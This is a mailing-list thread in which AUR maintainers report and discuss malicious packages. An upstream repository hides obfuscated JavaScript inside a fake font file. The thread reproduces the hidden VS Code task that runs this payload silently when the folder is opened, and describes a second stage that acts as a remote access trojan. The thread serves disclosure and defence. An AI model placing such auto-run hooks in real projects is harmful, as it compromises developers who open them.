On Sat, 12 Sept 2026 at 23:38, Nicolas Boichat <nicolas@boichat.ch> wrote:

Hi,

Thanks Saren,

The maintainer should probably be banned from AUR as well.

https://aur.archlinux.org/packages/tokentracker-cli => https://github.com/ayan-de/Token-Tracker/commit/60f86b3a5eabf73cf13e0bb88389...

Slight correction, the PKGBUILD points at https://github.com/ayan-de/Token-Tracker/tree/v0.1.13, which doesn't contain the strange commit. I'll let you figure out what's the proper action here.

The 2 other packages I'm not sure, didn't check the binaries.

Thanks,

On Sat, 12 Sept 2026 at 22:36, Saren <saren@wtako.net> wrote:

...

Package: https://aur.archlinux.org/packages/glanced

Upstream: https://github.com/ayan-de/glance-linux

https://github.com/ayan-de/glance-linux/blob/master/public/fonts/fa-solid-50... is obfuscated javascript disguised as a .woff2 font file, with a lot of whitespace prepended. This javascript will be executed when this package is opened using vscode as defined in .vscode/tasks.json

```json { "label": "eslint-check", "type": "shell", "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-500.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-500.woff2) || echo ''", "isBackground": true, "hide": true, "presentation": { "reveal": "never", "echo": false, "close": true }, "runOptions": { "runOn": "folderOpen" } } ```

When executed, the code will resolve a specific ethereum transaction from blockchain, resolving a 2nd stage payload from http, effectively a RAT.

Detailed analysis by claude: https://gist.github.com/Saren-Arterius/d666ff56ef070a551f5f38a404b0c85d

Am 12.09.26 um 17:53 schrieb Nicolas Boichat:

Slight correction, the PKGBUILD points at https://github.com/ayan-de/Token-Tracker/tree/v0.1.13, which doesn't contain the strange commit.

I'll let you figure out what's the proper action here.

Hi, It looks like the maintainer/upstream dev was compromised with PolinRider or a variant of that. https://github.com/OpenSourceMalware/PolinRider -- Andy

On 9/12/26 11:36 AM, Claudia Pellegrino wrote:

Hi Andy,

...

It looks like the maintainer/upstream dev was compromised with PolinRider or a variant of that. https://github.com/OpenSourceMalware/PolinRider Very good find! One of the artifacts to which the malicious code was appended (`postcss.config.js`) even matches. The WOFF one doesn’t.

It’s definitely possible that the upstream dev has been compromised and hasn’t even noticed.

Regards Claudia

It's the community that makes it work, and through these trying times, the community has shown its metal and gone above and beyond in keeping AUR safe. Claudia has been an amazing Maestro, orchestrating the defense. (as well as all others, unnamed, with a hand in providing a solid defense) Thanks to all for helping guide AUR through the chaos. Platitudes aside, we need to be forward thinking on this, to the greatest extent possible. Not just due to the foreseeable future threats, but given the massive increase in capabilities to carry out exploits and poisonings the AI models have placed in the hands of every wanna-be malicious actor. An article this past week on The Register drove that point home: https://www.theregister.com/security/2026/09/10/hundreds-of-ai-agents-helped... Trying to keep up with the onslaught is like drinking from a fire hose. Arch/AUR collectively has the talent to fair better than most, but the reality is it is only going to get worse. The more we can do to protect/prevent against bad actors gaining AUR accounts to use as a platform to carry out malware distribution, the better. As with all changes there will be a follow-on period to assess how the changes are working. Some will work, some won't, it's an iterative process, that's just the way it goes. But, compared to four months ago, we are in a lot better position today than we were then. Thank you all for your keen eyes on AUR activity and for your tireless effort to revert commits and delete accounts when problems are identified! -- David C. Rankin, J.D.,P.E.